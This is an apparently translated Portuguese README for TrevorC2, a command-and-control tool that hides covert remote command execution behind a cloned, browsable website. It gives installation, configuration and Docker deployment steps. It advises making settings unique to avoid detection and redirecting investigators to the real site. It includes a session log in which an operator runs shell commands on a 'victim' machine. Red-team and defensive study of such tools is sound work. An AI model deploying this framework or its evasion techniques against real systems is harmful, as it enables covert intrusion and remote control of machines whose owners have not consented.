
TrevorC2 é um site legítimo (navegável) que tunela comunicações cliente/servidor para execução encoberta de comandos.
Escrito por: Dave Kennedy (@HackingDave) Site: https://www.trustedsec.com
Note que esta é uma versão muito inicial - randomização pesada e criptografia serão adicionadas em breve.
TrevorC2 é um modelo cliente/servidor para mascarar comando e controle através de um site normalmente navegável. A detecção se torna muito mais difícil, pois os intervalos de tempo são diferentes e não usa requisições POST para exfiltração de dados.
, .'''''. ... ''''', .'
',' ,.MMMM;.;' '.
;; ;MMMMMMMMM; ;;'
:'M: ;MMMMMMMMMMM;. :M':
: M: MMMMMMMMMMMMM: :M .
.' M: MMMMMMMMMMMMM: :M. ;
; :M' :MMMMMMMMMMMM' 'M: :
: :M: .;"MMMMMMMMM":;. ,M: :
: ::,MMM;.M":::M.;MMM ::' :
,.; ;MMMMMM;:MMMMMMMM: :,.
MMM.;.,MMMMMMMM;MMMMMMMM;.,;.MMM
M':''':MMMMMMMMM;MMMMMMMM: "': M
M.: ;MMMMMMMMMMMMMMMMMM; : M
::: MMMMMMMMMMM;MMMMMMMM ::M
,''; MMMMMMMMMMMM:MMMMMMM :'".
,' : MMMMMMMMMMMM:MMMMMMM : '.
' : 'MMMMMMMMMMMMM:MMMMMM ; '
,.....;.. MMMMMMMMMMMMM:MMMMMM ..:....;.
:MMMMMMMM MMMMMMMMMMMMM:MMMMMM MMMMMMMM:
:MM''':"" MMMMMMMMMMMMM:MMMMMM "": "'MM:
MM: : MMMMMMMMMMMMM:MMMMMM ,' :MM
'MM : :MMMMMMMMMMMM:MMMMM: : ;M:
:M; : 'MMMMMMMMMMMMMMMMMM' : ;MM
:MM. : :MMMMMMMMMM;MMMMM: : MM:
:M: : MMMMMMMMM'MMMMMM' : :MM'
'MM : "MMMMMMM:;MMMMM" ,' ;M"
'M : ""''':;;;'''"" : M:
;' : "MMMMMMMM;." : "".
,; : :MMMMMMM:;. : '.
:' : ,MM'''""''':M: : ';
;' : ;M' MM. : ;.
Existem dois componentes no TrevorC2 - o cliente e o servidor. O cliente pode ser configurado para ser usado com qualquer coisa. Neste exemplo, ele é codificado em Python, mas pode ser facilmente portado para C#, PowerShell, ou o que você quiser. Atualmente, o trevorc2_client.py suporta Windows, MacOS e Linux. Você pode sempre compilar o bytecode do cliente Windows para obter um executável, mas a preferência seria usar o Windows sem precisar soltar um executável como estagiador.
A forma como o servidor funciona é escondendo um parâmetro que está logo antes do parâmetro . Isso é completamente configurável, e é recomendado que você configure tudo para ser único a fim de evitar detecção. Aqui está o fluxo de trabalho:
1. trevor2_server.py - edite o arquivo primeiro e personalize qual site você deseja clonar, etc. O servidor clonará um site de sua escolha e iniciará um servidor. Este servidor é navegável por qualquer pessoa e parece um site legítimo. Contido no código fonte está um parâmetro que (novamente, é configurável) contém as instruções para o cliente. Uma vez que um cliente se conecta, ele busca por esse parâmetro e depois o utiliza para executar comandos.
2. trevor2_client.py - tudo o que você precisa em qualquer opção configurável é a capacidade de chamar um site, analisar alguns dados básicos, executar um comando e depois colocar os resultados em um parâmetro de query string codificado em base64 para o site. Só isso, não é difícil.
3. trevor2_client.ps1 - implementação em PowerShell do trevor2_client.py, isso permite que você use PowerShell nativo para interagir com o Trevor2_Server.
pip install -r requirements.txt
Primeiro edite o trevor2_server.py - altere as opções de configuração e o site a ser clonado.
python trevor2_server.py
Em seguida, edite o trevor2_client.py ou ps1 - altere a configuração e o sistema para o qual deseja que ele se comunique.
python trevor2_client.py ou .\trevor2_client.ps1
TrevorC2 suporta a capacidade de lidar com múltiplos shells vindos de diferentes nomes de host. A forma como o TrevorC2 funciona é que ele identificará novos nomes de host como sessões. Você pode interagir com as sessões uma vez que execute um comando. Se você tiver múltiplas sessões, pode digitar um comando e interagir com aquela sessão baseada no número da sessão armazenado globalmente.
Ao iniciar o TrevorC2 pela primeira vez, você pode digitar help ou ? para obter informações adicionais. O uso básico do comando é "list" que listará quaisquer shells ativos ou nenhum, ou "interact <session_id>" para interagir com o shell desejado.
Você pode sempre digitar back/exit dentro de um shell, ele ainda permanecerá ativo e não vai realmente matar o shell.
Exemplo abaixo:
root@stronghold:/home/relik/Desktop/git/trevorc2# python trevorc2_server.py
TrevorC2 - Legitimate Website Covert Channel
Written by: David Kennedy (@HackingDave)
https://www.trustedsec.com
[*] Cloning website: https://www.google.com
[*] Site cloned successfully.
[*] Starting Trevor C2 Server...
[*] Next, enter the command you want the victim to execute.
[*] Client uses random intervals, this may take a few.
[*] Type help for usage. Example commands, list, interact.
Trevor C2 shell
trevorc2>help
Documented commands (type help <topic>):
========================================
exit help interact list servercmd
trevorc2>help list
Description: Lists all available agents
Usage: list
trevorc2>list
No available Agents. :-(
trevorc2>
*** Received connection from 127.0.0.1 and hostname stronghold with communication sid pSNIRFgTuZnCdHN for TrevorC2.
trevorc2>list
id hostname ip address communication_sessionid
1 stronghold 127.0.0.1 pSNIRFgTuZnCdHN
trevorc2>help interact
Description: Starts an interactive shell with agent
Usage: interact <id>
trevorc2>interact 1
[*] Dropping into trevorc2 shell...
[*] Use exit or back to select other shells
stronghold:trevorc2>ifconfig
[*] Waiting for command to be executed, be patient, results will be displayed here...
[*] Received response back from client...
=-=-=-=-=-=-=-=-=-=-=
(HOSTNAME: stronghold
CLIENT: 127.0.0.1)
ens33 Link encap:Ethernet HWaddr 00:0c:29:63:7c:67
inet addr:172.16.37.132 Bcast:172.16.37.255 Mask:255.255.255.0
inet6 addr: fe80::4b6b:fb52:f109:a7af/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1400907 errors:0 dropped:0 overruns:0 frame:0
TX packets:2588882 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:835091244 (835.0 MB) TX bytes:2623070556 (2.6 GB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:453640 errors:0 dropped:0 overruns:0 frame:0
TX packets:453640 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:211565776 (211.5 MB) TX bytes:211565776 (211.5 MB)
stronghold:trevorc2>back
trevorc2>help servercmd
Description: Run command on the server
Usage: servercmd <command>
Example: servercmd ifconfig
trevorc2>servercmd hostname
PwnServer
trevorc2>exit
[*] Exiting TrevorC2...
Usa um Dockerfile baseado em Alpine para implantar o TrevorC2, útil para implantação rápida em provedores de nuvem.
Exemplo abaixo:
git clone https://github.com/trustedsec/trevorc2.git
cd trevorc2
# At this point, setting up docker-machine to remotly deploy works great
docker build -t trevorc2 .
docker run -it -p 80:80 -p 443:443 trevorc2
É importante alterar as variáveis que são apresentadas em cada um dos scripts. Especialmente o SITE_PATH_QUERY e a chave de criptografia. Eu também recomendaria olhar a opção REDIRECT. Em vez de clonar um site, você tem outra opção que redirecionará o host vítima que pode estar navegando no site para investigar para o site legítimo. Basicamente, quando alguém visita o site, ele redirecionará para o site que você deseja clonar. Altere o site clonado de, por exemplo, google para um site diferente e ligue o redirecionamento para ON.